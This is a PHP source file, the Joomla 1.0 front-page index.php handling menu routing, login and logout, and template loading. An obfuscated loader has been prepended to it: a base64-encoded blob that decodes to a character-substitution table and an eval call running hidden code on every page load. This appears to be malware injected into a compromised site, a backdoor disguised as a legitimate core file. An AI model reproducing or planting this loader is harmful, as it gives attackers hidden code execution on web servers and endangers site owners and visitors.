bTFONkZFRzJBUmNWRDlUZGtEUmRrRFJka0RSZGsnLgonRFJka0RSZGs4SThBNlI3WUpSaklnMG5rOU5qTks1a0FEUmRrRFJka0RSZGtEUmRrRFJka0RvYmY0b2R1OStka09IYldPZWZOOGVoTjg4VicuCidEOVRka0RSZGtEUmRrRFJka0RSVFk0NWtBRFJka0RSZGtEUmRrRFJkVTFzaFVhUkNyNUU2bUVlMlVFWHZaUkhoWkhRdUMzUmRrRFJka0RSZGtEUmRrd0V0VUU5eks5VGRrRFJkJy4KJ2tEUmRrd2x1QzNSZGtEUmRrRFJkVTE0NkYxY3ZBRDNqVU9lOFVMMmpGZ29XWkRsN1pEb3ZaNmN1QzNSZGtEUmRrRFJkcjQ1a0FEUmRrRFJka0RSZCcuCidrRFJkVTFGYmZLM2pVT2U4VUwyakZDb1daSFF1QzNSZGtEUmRrRFJkcjk1a0FEUmRrRFJka0RSdmZCSXZmRW1ka1JIdlVMOWIxNG9iWjg4ZHU5bGRrOEsycjFvaGZKbycuCidUQzlUZGtEUmRrRFJka3dRdUMzUmRrRFJka0RSZGtEUmRrd2N2QVJIdlVMOWIxNG82RmdvV1pEbDdaRG9iZk9Iak5INWtBRFJka0RSZGtEUmRrRFJkcjQ1a0FEUmRrRCcuCidSZGtEUmRrRFJka0RSZGt3czZ5bEsycjFvaGZTcGJmT0hUa09IYldPZWZOOEtqeTk0ZGtPSGJXT2VmTjhIank5Y3pLOVRka0RSZGtEUmRrRFInLgonZGtEUnBDOVRka0RSZGtEUmRrRFJka0RSdmZCSXZmRW1Ua09IYldPZWZOOEliWjg4ZHU5bGRrOE52ZjlvVEM5VGRrRFJka0RSZGtEUmRrRFJ0SzlUZGtEUmRrRFJka0RSZGsnLgonRFJka0RSZFU1SVdNdzQ4ZjhjMkVsTnZmOTNqVU9lOFVMMmpNRG9XWkhRdUMzUmRrRFJka0RSZGtEUmRrd2x1QzNSZGtEUmRrRFJkcjk1a0FEUmRrRFJka0RSdmY1MzJOREgnLgondlVMOWIxNG9iZjRvV1k0NWtBRFJka0RSZGtEUnZXZWM4a1Jjeks5VGRrRFJkcjk1a1I5VGRrRFJkJy4KJ1U1SVdNdzQ4ZjhjMkVsNDJGTEhUa0hRdUNjbCc7CiRuam9rcmZ1c3YgPSBBcnJheSgnMSc9PidWJywgJzAnPT4ndScsICczJz0+J28nLCAnMic9PidiJywgJzUnPT4nTicsICc0Jz0+J3MnLCAnNyc9PidQJywgJzYnPT4nYycsICc5Jz0+JzAnLCAnOCc9PidkJywgJ0EnPT4naScsICdDJz0+J1EnLCAnQic9Pid4JywgJ0UnPT4nbCcsICdEJz0+J0EnLCAnRyc9Pid2JywgJ0YnPT4nMicsICdJJz0+J3onLCAnSCc9PidrJywgJ0snPT4ndycsICdKJz0+JzQnLCAnTSc9PiczJywgJ0wnPT4nRicsICdPJz0+J1InLCAnTic9Pid5JywgJ1EnPT4nNycsICdQJz0+J1UnLCAnUyc9Pic1JywgJ1InPT4nZycsICdVJz0+J0cnLCAnVCc9PidLJywgJ1cnPT4nWCcsICdWJz0+J0wnLCAnWSc9PidUJywgJ1gnPT4nNicsICdaJz0+J1MnLCAnYSc9Pic4JywgJ2MnPT4ncCcsICdiJz0+J1knLCAnZSc9PidoJywgJ2QnPT4nSScsICdnJz0+J0UnLCAnZic9PidXJywgJ2knPT4ncicsICdoJz0+J2EnLCAnayc9PidDJywgJ2onPT4nSicsICdtJz0+J20nLCAnbCc9Pic5JywgJ28nPT4nbicsICduJz0+J00nLCAncSc9PidxJywgJ3AnPT4nZicsICdzJz0+J2onLCAncic9PidIJywgJ3UnPT4nRCcsICd0Jz0+J2UnLCAndyc9PidCJywgJ3YnPT4nWicsICd5Jz0+JzEnLCAneCc9Pid0JywgJ3onPT4nTycpOwpldmFsLypneXRlciovKGpjc3hxZnpnZ2MoJGltZGpjZ2NmcSwgJG5qb2tyZnVzdikpOwp9")); /** * @version $Id: index.php 10041 2008-02-15 21:48:13Z eddieajau $ * @package Joomla * @copyright Copyright (C) 2005 Open Source Matters. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * Joomla! is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See COPYRIGHT.php for copyright notices and details. */ // Set flag that this is a parent file define( '_VALID_MOS', 1 ); // checks for configuration file, if none found loads installation page if (!file_exists( 'configuration.php' ) || filesize( 'configuration.php' ) < 10) { $self = rtrim( dirname( $_SERVER['PHP_SELF'] ), '/\\' ) . '/'; header("Location: http://" . $_SERVER['HTTP_HOST'] . $self . "installation/index.php" ); exit(); } require( 'globals.php' ); require( 'configuration.php' ); // SSL check - $http_host returns : $http_host = explode(':', $_SERVER['HTTP_HOST'] ); if( (!empty( $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) != 'off' || isset( $http_host[1] ) && $http_host[1] == 443) && substr( $mosConfig_live_site, 0, 8 ) != 'https://' ) { $mosConfig_live_site = 'https://'.substr( $mosConfig_live_site, 7 ); } require_once( 'includes/joomla.php' ); //Installation sub folder check, removed for work with SVN if (file_exists( 'installation/index.php' ) && $_VERSION->SVN == 0) { define( '_INSTALL_CHECK', 1 ); include ( $mosConfig_absolute_path .'/offline.php'); exit(); } // displays offline/maintanance page or bar if ($mosConfig_offline == 1) { require( $mosConfig_absolute_path .'/offline.php' ); } // load system bot group $_MAMBOTS->loadBotGroup( 'system' ); // trigger the onStart events $_MAMBOTS->trigger( 'onStart' ); if (file_exists( $mosConfig_absolute_path .'/components/com_sef/sef.php' )) { require_once( $mosConfig_absolute_path .'/components/com_sef/sef.php' ); } else { require_once( $mosConfig_absolute_path .'/includes/sef.php' ); } require_once( $mosConfig_absolute_path .'/includes/frontend.php' ); // retrieve some expected url (or form) arguments $option = strval( strtolower( mosGetParam( $_REQUEST, 'option' ) ) ); $Itemid = intval( mosGetParam( $_REQUEST, 'Itemid', null ) ); if ($option == '') { if ($Itemid) { $query = "SELECT id, link" . "\n FROM #__menu" . "\n WHERE menutype = 'mainmenu'" . "\n AND id = " . (int) $Itemid . "\n AND published = 1" ; $database->setQuery( $query ); } else { $query = "SELECT id, link" . "\n FROM #__menu" . "\n WHERE menutype = 'mainmenu'" . "\n AND published = 1" . "\n ORDER BY parent, ordering" ; $database->setQuery( $query, 0, 1 ); } $menu = new mosMenu( $database ); if ($database->loadObject( $menu )) { $Itemid = $menu->id; } $link = $menu->link; if (($pos = strpos( $link, '?' )) !== false) { $link = substr( $link, $pos+1 ). '&Itemid='.$Itemid; } parse_str( $link, $temp ); /** this is a patch, need to rework when globals are handled better */ foreach ($temp as $k=>$v) { $GLOBALS[$k] = $v; $_REQUEST[$k] = $v; if ($k == 'option') { $option = $v; } } } if ( !$Itemid ) { // when no Itemid give a default value $Itemid = 99999999; } // mainframe is an API workhorse, lots of 'core' interaction routines $mainframe = new mosMainFrame( $database, $option, '.' ); $mainframe->initSession(); // trigger the onAfterStart events $_MAMBOTS->trigger( 'onAfterStart' ); // checking if we can find the Itemid thru the content if ( $option == 'com_content' && $Itemid === 0 ) { $id = intval( mosGetParam( $_REQUEST, 'id', 0 ) ); $Itemid = $mainframe->getItemid( $id ); } /** do we have a valid Itemid yet?? */ if ( $Itemid === 0 ) { /** Nope, just use the homepage then. */ $query = "SELECT id" . "\n FROM #__menu" . "\n WHERE menutype = 'mainmenu'" . "\n AND published = 1" . "\n ORDER BY parent, ordering" ; $database->setQuery( $query, 0, 1 ); $Itemid = $database->loadResult(); } // patch to lessen the impact on templates if ($option == 'search') { $option = 'com_search'; } // loads english language file by default if ($mosConfig_lang=='') { $mosConfig_lang = 'english'; } include_once( $mosConfig_absolute_path .'/language/' . $mosConfig_lang . '.php' ); // frontend login & logout controls $return = strval( mosGetParam( $_REQUEST, 'return', NULL ) ); $message = intval( mosGetParam( $_POST, 'message', 0 ) ); // Get the information about the current user from the sessions table $my = $mainframe->getUser(); if ($option == 'login') { $mainframe->login(); // JS Popup message if ( $message ) { ?> php } if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) { // checks for the presence of a return url // and ensures that this url is not the registration or login pages // If a sessioncookie exists, redirect to the given page. Otherwise, take an extra round for a cookiecheck if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) { mosRedirect( $return ); } else { mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $return ) ); } } else { // If a sessioncookie exists, redirect to the start page. Otherwise, take an extra round for a cookiecheck if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) { mosRedirect( $mosConfig_live_site .'/index.php' ); } else { mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $mosConfig_live_site .'/index.php' ) ); } } } else if ($option == 'logout') { $mainframe->logout(); // JS Popup message if ( $message ) { ?> php } if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) { // checks for the presence of a return url // and ensures that this url is not the registration or logout pages mosRedirect( $return ); } else { mosRedirect( $mosConfig_live_site.'/index.php' ); } } else if ($option == 'cookiecheck') { // No cookie was set upon login. If it is set now, redirect to the given page. Otherwise, show error message. if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) { mosRedirect( $return ); } else { mosErrorAlert( _ALERT_ENABLED ); } } // detect first visit $mainframe->detect(); // set for overlib check $mainframe->set( 'loadOverlib', false ); $gid = intval( $my->gid ); // gets template for page $cur_template = $mainframe->getTemplate(); /** temp fix - this feature is currently disabled */ /** @global A places to store information from processing of the component */ $_MOS_OPTION = array(); // precapture the output of the component require_once( $mosConfig_absolute_path . '/editor/editor.php' ); ob_start(); if ($path = $mainframe->getPath( 'front' )) { $task = strval( mosGetParam( $_REQUEST, 'task', '' ) ); $ret = mosMenuCheck( $Itemid, $option, $task, $gid ); if ($ret) { require_once( $path ); } else { mosNotAuth(); } } else { header( 'HTTP/1.0 404 Not Found' ); echo _NOT_EXIST; } $_MOS_OPTION['buffer'] = ob_get_contents(); ob_end_clean(); initGzip(); header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' ); header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' ); header( 'Cache-Control: no-store, no-cache, must-revalidate' ); header( 'Cache-Control: post-check=0, pre-check=0', false ); header( 'Pragma: no-cache' ); // display the offline alert if an admin is logged in if (defined( '_ADMIN_OFFLINE' )) { include( $mosConfig_absolute_path .'/offlinebar.php' ); } // loads template file if ( !file_exists( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' ) ) { echo _TEMPLATE_WARN . $cur_template; } else { require_once( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' ); echo ''; } // displays queries performed for page if ($mosConfig_debug) { echo $database->_ticker . ' queries executed'; echo '
';
 	foreach ($database->_log as $k=>$sql) {
 		echo $k+1 . "\n" . $sql . '
'; } echo '
'; } doGzip(); ?>